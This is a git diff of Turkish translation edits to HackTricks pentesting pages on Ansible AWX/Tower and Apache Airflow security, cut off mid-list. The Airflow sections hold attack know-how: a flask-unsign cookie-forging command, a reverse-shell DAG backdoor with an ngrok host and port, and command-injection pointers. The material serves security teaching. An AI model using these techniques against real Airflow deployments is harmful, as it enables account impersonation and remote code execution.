diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index f385db91a..5a1057a56 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -7,7 +7,7 @@
> HackTricks'i Destekleyin
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
-> - **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
-> - **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
+> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
+> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
>
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index cdc25edc9..6fb824e25 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,4 +1,4 @@
-# Ansible Tower / AWX / Automation controller Security
+# Ansible Tower / AWX / Automation controller Güvenliği
{{#include ../banners/hacktricks-training.md}}
@@ -10,41 +10,41 @@
### Farklar
-[**Bu**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) kaynağına göre, Ansible Tower ile AWX arasındaki ana fark, alınan destek ve Ansible Tower'ın rol tabanlı erişim kontrolü, özel API'ler için destek ve kullanıcı tanımlı iş akışları gibi ek özelliklere sahip olmasıdır.
+[**Bu**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) kaynağa göre, Ansible Tower ile AWX arasındaki ana farklar alınan destek ve Ansible Tower'ın rol tabanlı erişim kontrolü, özel API'ler için destek ve kullanıcı tanımlı iş akışları gibi ek özelliklere sahip olmasıdır.
### Teknoloji Yığını
-- **Web Arayüzü**: Kullanıcıların envanterleri, kimlik bilgilerini, şablonları ve işleri yönetebileceği grafik arayüzdür. Anlayışınızı kolaylaştırmak için görselleştirmeler sunarak sezgisel olacak şekilde tasarlanmıştır.
+- **Web Arayüzü**: Kullanıcıların envanterleri, kimlik bilgilerini, şablonları ve işleri yönetebileceği grafik arayüzdür. Kullanıcı dostu olacak şekilde tasarlanmıştır ve otomasyon işlerinin durumu ve sonuçlarını anlamaya yardımcı olacak görselleştirmeler sağlar.
- **REST API**: Web arayüzünde yapabileceğiniz her şeyi REST API aracılığıyla da yapabilirsiniz. Bu, AWX/Tower'ı diğer sistemlerle entegre etmenizi veya arayüzde genellikle gerçekleştireceğiniz eylemleri betik haline getirmenizi sağlar.
- **Veritabanı**: AWX/Tower, yapılandırmasını, iş sonuçlarını ve diğer gerekli operasyonel verileri depolamak için bir veritabanı (genellikle PostgreSQL) kullanır.
- **RabbitMQ**: Bu, AWX/Tower'ın farklı bileşenler arasında, özellikle web hizmeti ile görev çalıştırıcıları arasında iletişim kurmak için kullandığı mesajlaşma sistemidir.
-- **Redis**: Redis, görev kuyruğu için bir önbellek ve arka uç olarak hizmet eder.
+- **Redis**: Redis, bir önbellek ve görev kuyruğu için bir arka uç olarak hizmet eder.
### Mantıksal Bileşenler
- **Envanterler**: Envanter, **işlerin** (Ansible playbook'ları) **çalıştırılabileceği** **hostlar (veya düğümler)** koleksiyonudur. AWX/Tower, envanterlerinizi tanımlamanıza ve gruplamanıza olanak tanır ve ayrıca AWS, Azure gibi diğer sistemlerden **host listelerini alabilen** dinamik envanterleri destekler.
-- **Projeler**: Bir proje, esasen bir **versiyon kontrol sistemi** (Git gibi) kaynaklı **Ansible playbook'ları** koleksiyonudur; ihtiyaç duyulduğunda en son playbook'ları çekmek için kullanılır.
+- **Projeler**: Bir proje, esasen bir **versiyon kontrol sistemi** (Git gibi) aracılığıyla kaynaklanan **Ansible playbook'ları** koleksiyonudur; ihtiyaç duyulduğunda en son playbook'ları çekmek için kullanılır.
- **Şablonlar**: İş şablonları, **belirli bir playbook'un nasıl çalıştırılacağını** tanımlar, **envanter**, **kimlik bilgileri** ve iş için diğer **parametreleri** belirtir.
- **Kimlik Bilgileri**: AWX/Tower, **SSH anahtarları, şifreler ve API jetonları** gibi gizli bilgileri **yönetmek ve depolamak için güvenli bir yol** sağlar. Bu kimlik bilgileri, playbook'ların çalıştığında gerekli erişime sahip olabilmesi için iş şablonlarıyla ilişkilendirilebilir.
-- **Görev Motoru**: Burası sihrin gerçekleştiği yerdir. Görev motoru, Ansible üzerine inşa edilmiştir ve **playbook'ları çalıştırmaktan** sorumludur. İşler, belirtilen envanter üzerinde belirtilen kimlik bilgileri kullanılarak Ansible playbook'larını çalıştıran görev motoruna yönlendirilir.
-- **Zamanlayıcılar ve Geri Aramalar**: Bunlar, AWX/Tower'da **işlerin belirli zamanlarda çalıştırılmasını** veya dış olaylar tarafından tetiklenmesini sağlayan gelişmiş özelliklerdir.
-- **Bildirimler**: AWX/Tower, işlerin başarı veya başarısızlığına dayalı bildirimler gönderebilir. E-postalar, Slack mesajları, web kancaları gibi çeşitli bildirim yöntemlerini destekler.
-- **Ansible Playbook'ları**: Ansible playbook'ları, yapılandırma, dağıtım ve orkestrasyon araçlarıdır. Sistemlerin istenen durumunu otomatik, tekrarlanabilir bir şekilde tanımlar. YAML ile yazılmıştır ve playbook'lar, yapılandırmaları, görevleri ve yürütülmesi gereken adımları tanımlamak için Ansible'ın deklaratif otomasyon dilini kullanır.
+- **Görev Motoru**: Burası sihrin gerçekleştiği yerdir. Görev motoru, Ansible üzerine inşa edilmiştir ve **playbook'ları çalıştırmaktan** sorumludur. İşler, belirlenen envanter üzerinde belirtilen kimlik bilgilerini kullanarak Ansible playbook'larını çalıştıran görev motoruna iletilir.
+- **Zamanlayıcılar ve Geri Çağırmalar**: Bunlar, AWX/Tower'da belirli zamanlarda çalıştırılacak **işlerin zamanlanmasına** veya dış olaylar tarafından tetiklenmesine olanak tanıyan gelişmiş özelliklerdir.
+- **Bildirimler**: AWX/Tower, işlerin başarısına veya başarısızlığına dayalı bildirimler gönderebilir. E-postalar, Slack mesajları, web kancaları gibi çeşitli bildirim yöntemlerini destekler.
+- **Ansible Playbook'ları**: Ansible playbook'ları, yapılandırma, dağıtım ve orkestrasyon araçlarıdır. Sistemlerin istenen durumunu otomatik, tekrarlanabilir bir şekilde tanımlarlar. YAML ile yazılmış olan playbook'lar, yapılandırmaları, görevleri ve yürütülmesi gereken adımları tanımlamak için Ansible'ın deklaratif otomasyon dilini kullanır.
### İş Yürütme Akışı
1. **Kullanıcı Etkileşimi**: Bir kullanıcı, AWX/Tower ile **Web Arayüzü** veya **REST API** aracılığıyla etkileşimde bulunabilir. Bu, AWX/Tower tarafından sunulan tüm işlevselliklere ön uç erişimi sağlar.
2. **İş Başlatma**:
- Kullanıcı, Web Arayüzü veya API aracılığıyla bir **İş Şablonu** temelinde bir iş başlatır.
-- İş Şablonu, **Envanter**, **Proje** (playbook'u içeren) ve **Kimlik Bilgileri** referanslarını içerir.
+- İş Şablonu, **Envantör**, **Proje** (playbook'u içeren) ve **Kimlik Bilgileri** referanslarını içerir.
- İş başlatıldığında, işin yürütülmesi için AWX/Tower arka ucuna bir istek gönderilir.
3. **İş Kuyruğa Alma**:
-- **RabbitMQ**, web bileşeni ile görev çalıştırıcıları arasındaki mesajlaşmayı yönetir. Bir iş başlatıldığında, RabbitMQ kullanılarak görev motoruna bir mesaj gönderilir.
+- **RabbitMQ**, web bileşeni ile görev çalıştırıcıları arasındaki mesajlaşmayı yönetir. Bir iş başlatıldığında, görev motoruna RabbitMQ kullanılarak bir mesaj iletilir.
- **Redis**, yürütülmeyi bekleyen kuyrukta bekleyen işleri yöneten görev kuyruğu için arka uç olarak hizmet eder.
-4. **İşin Yürütülmesi**:
+4. **İş Yürütme**:
- **Görev Motoru**, kuyrukta bekleyen işi alır. İlgili **Veritabanı**'ndan işin ilişkili playbook'u, envanteri ve kimlik bilgileri hakkında gerekli bilgileri alır.
-- İlgili **Proje**'den alınan Ansible playbook'unu kullanarak, Görev Motoru belirtilen **Envanter** düğümleri üzerinde sağlanan **Kimlik Bilgileri** ile playbook'u çalıştırır.
-- Playbook çalışırken, yürütme çıktısı (loglar, bilgiler vb.) **Veritabanı**'na kaydedilir.
+- İlgili **Proje**'den alınan Ansible playbook'unu kullanarak, Görev Motoru belirtilen **Envantör** düğümleri üzerinde sağlanan **Kimlik Bilgileri** ile playbook'u çalıştırır.
+- Playbook çalışırken, yürütme çıktısı (loglar, veriler vb.) **Veritabanı**'na kaydedilir.
5. **İş Sonuçları**:
- Playbook çalışmayı bitirdiğinde, sonuçlar (başarı, başarısızlık, loglar) **Veritabanı**'na kaydedilir.
- Kullanıcılar, sonuçları Web Arayüzü aracılığıyla görüntüleyebilir veya REST API aracılığıyla sorgulayabilir.
@@ -52,7 +52,7 @@
6. **Dış Sistem Entegrasyonu**:
- **Envanterler**, dış sistemlerden dinamik olarak kaynaklanabilir, bu da AWX/Tower'ın AWS, Azure, VMware gibi kaynaklardan hostları çekmesine olanak tanır.
- **Projeler** (playbook'lar), versiyon kontrol sistemlerinden alınabilir, böylece iş yürütme sırasında güncel playbook'ların kullanılması sağlanır.
-- **Zamanlayıcılar ve Geri Aramalar**, diğer sistemler veya araçlarla entegrasyon için kullanılabilir, bu da AWX/Tower'ın dış tetikleyicilere yanıt vermesini veya önceden belirlenmiş zamanlarda işleri çalıştırmasını sağlar.
+- **Zamanlayıcılar ve Geri Çağırmalar**, diğer sistemler veya araçlarla entegrasyon için kullanılabilir, bu da AWX/Tower'ın dış tetikleyicilere yanıt vermesini veya işleri önceden belirlenmiş zamanlarda çalıştırmasını sağlar.
### Test için AWX laboratuvarı oluşturma
@@ -102,35 +102,35 @@ Bir **beyaz kutu güvenliği** incelemesi için, **Sistem Denetçisi rolüne** i
- Bu rol, uyum ve denetim için tasarlanmıştır.
3. **Organizasyon Rolleri**:
- **Admin**: Organizasyonun kaynakları üzerinde tam kontrol.
-- **Denetçi**: Organizasyonun kaynaklarına yalnızca görüntüleme erişimi.
-- **Üye**: Belirli izinleri olmayan bir organizasyonda temel üyelik.
-- **Çalıştır**: Organizasyon içinde iş şablonlarını çalıştırabilir.
-- **Oku**: Organizasyonun kaynaklarını görüntüleyebilir.
+- **Auditor**: Organizasyonun kaynaklarına yalnızca görüntüleme erişimi.
+- **Member**: Belirli bir izni olmadan bir organizasyona temel üyelik.
+- **Execute**: Organizasyon içinde iş şablonlarını çalıştırabilir.
+- **Read**: Organizasyonun kaynaklarını görüntüleyebilir.
4. **Proje Rolleri**:
- **Admin**: Projeyi yönetebilir ve değiştirebilir.
-- **Kullan**: Projeyi bir iş şablonunda kullanabilir.
-- **Güncelle**: SCM (kaynak kontrolü) kullanarak projeyi güncelleyebilir.
+- **Use**: Projeyi bir iş şablonunda kullanabilir.
+- **Update**: SCM (kaynak kontrolü) kullanarak projeyi güncelleyebilir.
5. **Envanter Rolleri**:
- **Admin**: Envanteri yönetebilir ve değiştirebilir.
- **Ad Hoc**: Envanter üzerinde ad hoc komutları çalıştırabilir.
-- **Güncelle**: Envanter kaynağını güncelleyebilir.
-- **Kullan**: Envanteri bir iş şablonunda kullanabilir.
-- **Oku**: Yalnızca görüntüleme erişimi.
+- **Update**: Envanter kaynağını güncelleyebilir.
+- **Use**: Envanteri bir iş şablonunda kullanabilir.
+- **Read**: Yalnızca görüntüleme erişimi.
6. **İş Şablonu Rolleri**:
- **Admin**: İş şablonunu yönetebilir ve değiştirebilir.
-- **Çalıştır**: İşi çalıştırabilir.
-- **Oku**: Yalnızca görüntüleme erişimi.
+- **Execute**: İşi çalıştırabilir.
+- **Read**: Yalnızca görüntüleme erişimi.
7. **Kimlik Bilgisi Rolleri**:
- **Admin**: Kimlik bilgilerini yönetebilir ve değiştirebilir.
-- **Kullan**: Kimlik bilgilerini iş şablonlarında veya diğer ilgili kaynaklarda kullanabilir.
-- **Oku**: Yalnızca görüntüleme erişimi.
+- **Use**: Kimlik bilgilerini iş şablonlarında veya diğer ilgili kaynaklarda kullanabilir.
+- **Read**: Yalnızca görüntüleme erişimi.
8. **Takım Rolleri**:
-- **Üye**: Takımın bir parçası ancak belirli izinleri yok.
+- **Member**: Takımın bir parçası ancak belirli bir izni yok.
- **Admin**: Takımın üyelerini ve ilgili kaynakları yönetebilir.
9. **İş Akışı Rolleri**:
- **Admin**: İş akışını yönetebilir ve değiştirebilir.
-- **Çalıştır**: İş akışını çalıştırabilir.
-- **Oku**: Yalnızca görüntüleme erişimi.
+- **Execute**: İş akışını çalıştırabilir.
+- **Read**: Yalnızca görüntüleme erişimi.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index f93780083..380ae689a 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -4,15 +4,15 @@
### Temel Bilgiler
-[**Apache Airflow**](https://airflow.apache.org), **veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform** olarak hizmet eder. Veri boru hatları bağlamında "orchestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi çok sayıda uygulama tarafından yaygın olarak kullanılmaktadır; bunların hepsi büyük veri uygulamalarının işleyişi için temeldir.
+[**Apache Airflow**](https://airflow.apache.org), **veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform** olarak hizmet eder. Veri boru hatları bağlamında "orchestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi birçok uygulama tarafından yaygın olarak kullanılmaktadır ve bunlar büyük veri uygulamalarının işleyişi için temeldir.
-Temelde, Apache Airflow, **bir şey olduğunda kodun çalıştırılmasını zamanlamanıza olanak tanır** (olay, cron).
+Temelde, Apache Airflow, bir şey olduğunda (olay, cron) **kodun yürütülmesini zamanlamanıza** olanak tanır.
### Yerel Laboratuvar
#### Docker-Compose
-Tam bir apache airflow docker ortamı başlatmak için **docker-compose yapılandırma dosyasını** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) adresinden kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM'ye en az 6GB RAM vermeyi unutmayın).
+Tam bir apache airflow docker ortamı başlatmak için [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) adresinden **docker-compose yapılandırma dosyasını** kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM'ye en az 6GB RAM vermeyi unutmayın).
#### Minikube
@@ -44,7 +44,7 @@ airflow-rbac.md
### Saldırılar
-#### Web Konsolu Sayım
+#### Web Konsolu Sayımı
Eğer **web konsoluna erişiminiz** varsa, aşağıdaki bilgilerden bazılarına veya hepsine erişim sağlayabilirsiniz:
@@ -57,12 +57,12 @@ Eğer **web konsoluna erişiminiz** varsa, aşağıdaki bilgilerden bazılarına
#### Değişken Değerlerini Alma
-Değişkenler Airflow'da saklanabilir, böylece **DAG'lar** değerlerine **erişebilir**. Bu, diğer platformların gizli bilgilerine benzer. Eğer **yeterli izinleriniz** varsa, bunlara `http:///variable/list/` adresinde GUI üzerinden erişebilirsiniz.\
-Airflow varsayılan olarak değişkenin değerini GUI'de gösterir, ancak [**şuna**](https://marclamberti.com/blog/variables-with-apache-airflow/) göre, **değerinin** **yıldızlar** olarak görüneceği **değişkenler listesi** ayarlamak mümkündür.
+Değişkenler Airflow'da saklanabilir, böylece **DAG'lar** değerlerine **erişebilir**. Bu, diğer platformların gizli bilgilerine benzer. Eğer **yeterli izinleriniz** varsa, bunlara `http:///variable/list/` adresinden GUI üzerinden erişebilirsiniz.\
+Airflow varsayılan olarak değişkenin değerini GUI'de gösterir, ancak [**bu**](https://marclamberti.com/blog/variables-with-apache-airflow/) kaynağa göre, **değerleri** **yıldız** olarak görünecek şekilde **değişkenler listesi** ayarlamak mümkündür.
.png>)
-Ancak, bu **değerler** hala **CLI** üzerinden (DB erişiminiz olmalı), **rastgele DAG** çalıştırarak, **API** ile değişkenler uç noktasına erişerek (API'nin etkinleştirilmesi gerekir) ve **hatta GUI'nin kendisi aracılığıyla** **alınabilir!**\
+Ancak, bu **değerler** hala **CLI** aracılığıyla **alınabilir** (DB erişiminiz olmalı), **rastgele DAG** çalıştırma, **API** ile değişkenler uç noktasına erişim (API'nin etkinleştirilmesi gerekir) ve **hatta GUI'nin kendisi!**\
Bu değerleri GUI'den erişmek için sadece **erişmek istediğiniz değişkenleri** seçin ve **Eylemler -> Dışa Aktar** seçeneğine tıklayın.\
Başka bir yol, **gizli değere** ulaşmak için **arama filtrelemesi** kullanarak **bruteforce** yapmaktır:
@@ -70,11 +70,11 @@ Başka bir yol, **gizli değere** ulaşmak için **arama filtrelemesi** kullanar
#### Yetki Yükseltme
-Eğer **`expose_config`** yapılandırması **True** olarak ayarlandıysa, **Kullanıcı** rolünden ve **üstündeki** roller **web'deki yapılandırmayı okuyabilir**. Bu yapılandırmada, **`secret_key`** görünür, bu da bu geçerli anahtara sahip herhangi bir kullanıcının **kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği** anlamına gelir.
+Eğer **`expose_config`** yapılandırması **True** olarak ayarlandıysa, **Kullanıcı** rolünden ve **üstündeki** rollerden **web'deki yapılandırmayı** **okuyabilirler**. Bu yapılandırmada, **`secret_key`** görünür, bu da geçerli bir kullanıcıya sahip olan herhangi birinin **kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği** anlamına gelir.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
-#### DAG Arka Kapı (Airflow işçi içinde RCE)
+#### DAG Arka Kapı (Airflow işçisi içinde RCE)
Eğer **DAG'ların kaydedildiği** yere **yazma erişiminiz** varsa, sadece **bir tane oluşturabilirsiniz** ve bu size bir **ters kabuk** gönderecektir.\
Bu ters kabuğun bir **airflow işçi konteyneri** içinde çalıştırılacağını unutmayın:
@@ -144,17 +144,17 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG Oluşturma
-Eğer **DAG kümesindeki bir makineyi ele geçirirseniz**, `dags/` klasöründe yeni **DAG scriptleri** oluşturabilirsiniz ve bunlar **DAG kümesindeki diğer makinelere kopyalanacaktır.**
+Eğer **DAG kümesindeki bir makineyi ele geçirirseniz**, `dags/` klasöründe yeni **DAG'lar scriptleri** oluşturabilirsiniz ve bunlar **DAG kümesindeki diğer makinelere** **kopyalanacaktır**.
#### DAG Kod Enjeksiyonu
-GUI'den bir DAG çalıştırdığınızda ona **argümanlar** geçirebilirsiniz.\
-Bu nedenle, eğer DAG düzgün kodlanmamışsa **Komut Enjeksiyonuna karşı savunmasız** olabilir.\
+GUI'den bir DAG çalıştırdığınızda ona **argümanlar** **geçebilirsiniz**.\
+Bu nedenle, eğer DAG düzgün kodlanmamışsa **Komut Enjeksiyonuna** **açık** olabilir.\
Bu, bu CVE'de olan bir durumdur: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-**DAG'lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey**, **parametrelerin** **`dag_run.conf.get("param_name")`** kodu ile **erişildiğidir.**
+**DAG'lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey**, **parametrelerin** **`dag_run.conf.get("param_name")`** kodu ile **erişildiğidir**.
-Ayrıca, aynı zafiyet **değişkenlerle** de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda GUI'de **değişkenlerin değerini kontrol edebilirsiniz**). Değişkenler **şu şekilde erişilir**:
+Ayrıca, aynı zafiyet **değişkenlerle** de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda **değişkenlerin değerini** GUI'de **kontrol edebilirsiniz**). Değişkenler **şu şekilde erişilir**:
```python
from airflow.models import Variable
[...]
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 261a69bf0..a74b795d5 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -8,7 +8,7 @@
**Bu dosyaya erişmenin iki yolu vardır: bazı airflow makinelerini tehlikeye atarak veya web konsoluna erişerek.**
-**Config dosyasındaki değerlerin** **kullanılanlar olmayabileceğini** unutmayın; bunları `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` gibi ortam değişkenleri ayarlayarak geçersiz kılabilirsiniz.
+**Config dosyasındaki değerlerin** **kullanılanlar olmayabileceğini** unutmayın, çünkü `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` gibi ortam değişkenleri ayarlayarak bunları geçersiz kılabilirsiniz.
Eğer **web sunucusundaki config dosyasına** erişiminiz varsa, config'in görüntülendiği aynı sayfada **gerçek çalışan yapılandırmayı** kontrol edebilirsiniz.\
Eğer **airflow ortamındaki bir makineye** erişiminiz varsa, **ortamı** kontrol edin.
@@ -20,7 +20,7 @@ Config dosyasını okurken kontrol edilecek bazı ilginç değerler:
- **`access_control_allow_headers`**: Bu, **CORS** için **izin verilen** **başlıkları** gösterir.
- **`access_control_allow_methods`**: Bu, **CORS** için **izin verilen yöntemleri** gösterir.
- **`access_control_allow_origins`**: Bu, **CORS** için **izin verilen kökenleri** gösterir.
-- **`auth_backend`**: [**Belgelerde belirtildiği gibi**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API'ye kimlerin erişebileceğini yapılandırmak için birkaç seçenek olabilir:
+- **`auth_backend`**: [**Belgelerde belirtildiği gibi**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API'ye kimlerin erişebileceğini yapılandırmak için birkaç seçenek mevcuttur:
- `airflow.api.auth.backend.deny_all`: **Varsayılan olarak kimse** API'ye erişemez.
- `airflow.api.auth.backend.default`: **Herkes** kimlik doğrulaması olmadan erişebilir.
- `airflow.api.auth.backend.kerberos_auth`: **kerberos kimlik doğrulamasını** yapılandırmak için.
@@ -38,7 +38,7 @@ Config dosyasını okurken kontrol edilecek bazı ilginç değerler:
### \[celery]
- **`flower_basic_auth`** : Kimlik bilgileri (_user1:password1,user2:password2_)
-- **`result_backend`**: **kimlik bilgileri** içerebilecek Postgres url'si.
+- **`result_backend`**: **kimlik bilgilerini** içerebilecek Postgres url'si.
- **`ssl_cacert`**: cacert'in yolu.
- **`ssl_cert`**: sertifikanın yolu.
- **`ssl_key`**: anahtarın yolu.
@@ -78,27 +78,27 @@ Config dosyasını okurken kontrol edilecek bazı ilginç değerler:
### \[webserver]
- **`cookie_samesite`**: Varsayılan olarak **Lax**'dır, bu nedenle zaten mümkün olan en zayıf değerdir.
-- **`cookie_secure`**: oturum çerezinde **güvenli bayrağı** ayarlayın.
+- **`cookie_secure`**: oturum çerezi üzerinde **güvenli bayrağı** ayarlayın.
- **`expose_config`**: Varsayılan olarak False'dur, eğer true ise, **config** web **konsolundan** **okunabilir**.
- **`expose_stacktrace`**: Varsayılan olarak True'dur, **python traceback'lerini** gösterecektir (potansiyel olarak bir saldırgan için yararlı).
-- **`secret_key`**: Bu, **flask'ın çerezleri imzalamak için kullandığı anahtardır** (eğer buna sahipseniz, **Airflow'daki herhangi bir kullanıcıyı taklit edebilirsiniz**).
+- **`secret_key`**: Bu, çerezleri imzalamak için flask tarafından kullanılan **anahtardır** (eğer buna sahipseniz, **Airflow'daki herhangi bir kullanıcıyı taklit edebilirsiniz**).
- **`web_server_ssl_cert`**: **SSL** **sertifikasının** **yolu**.
- **`web_server_ssl_key`**: **SSL** **Anahtarının** **yolu**.
- **`x_frame_enabled`**: Varsayılan **True**'dur, bu nedenle varsayılan olarak clickjacking mümkün değildir.
### Web Authentication
-Varsayılan olarak **web kimlik doğrulaması**, **`webserver_config.py`** dosyasında belirtilmiştir ve şu şekilde yapılandırılmıştır:
+Varsayılan olarak **web authentication**, **`webserver_config.py`** dosyasında belirtilmiştir ve şu şekilde yapılandırılmıştır:
```bash
AUTH_TYPE = AUTH_DB
```
-Bu, **kimlik doğrulamanın veritabanına karşı kontrol edildiği** anlamına gelir. Ancak, diğer yapılandırmalar da mümkündür, örneğin
+Bu, **kimlik doğrulamanın veritabanına karşı kontrol edildiği** anlamına gelir. Ancak, aşağıdaki gibi diğer yapılandırmalar da mümkündür:
```bash
AUTH_TYPE = AUTH_OAUTH
```
**Üçüncü taraf hizmetlere** **kimlik doğrulamasını** bırakmak için.
-Ancak, **anonim kullanıcıların erişimine** izin vermek için de bir seçenek vardır, aşağıdaki parametreyi **istenen role** ayarlayarak:
+Ancak, **anonim kullanıcıların erişimine** izin verme seçeneği de vardır, aşağıdaki parametreyi **istenen role** ayarlayarak:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 226c3531e..66b795053 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -12,9 +12,9 @@
- **`User`** kullanıcıları `Viewer` izinlerine ek olarak DAG'leri biraz yönetmelerine olanak tanıyan ek kullanıcı izinlerine sahiptir. **Yapılandırma dosyasını görebilir.**
- **`Op`** kullanıcıları `User` izinlerine ek olarak ek op izinlerine sahiptir.
-**Admin** kullanıcılarının daha fazla **granüler izinlere sahip daha fazla rol oluşturabileceğini** unutmayın.
+**Admin** kullanıcılarının daha **detaylı izinlere sahip daha fazla rol oluşturabileceğini** unutmayın.
-Ayrıca, **kullanıcıları ve rolleri listeleme iznine sahip tek varsayılan rol Admin'dir, Op bile bunu yapamayacaktır.**
+Ayrıca, kullanıcıları ve rolleri listeleme iznine sahip tek varsayılan rolün **Admin olduğunu, hatta Op'un bile bunu yapamayacağını** unutmayın.
### Varsayılan İzinler
@@ -22,19 +22,19 @@ Varsayılan role göre varsayılan izinler şunlardır:
- **Admin**
-\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, Rollerde okuyabilir, İzinlerde okuyabilir, Rollerde silebilir, Rollerde düzenleyebilir, Rollerde oluşturabilir, Kullanıcılarda okuyabilir, Kullanıcılarda oluşturabilir, Kullanıcılarda düzenleyebilir, Kullanıcılarda silebilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir, Görev Yeniden Planlamalarında okuyabilir, Görev Yeniden Planlamaları menüsüne erişim, Tetikleyicilerde okuyabilir, Tetikleyiciler menüsüne erişim, Şifrelerde okuyabilir, Şifrelerde düzenleyebilir, Kullanıcıları Listele 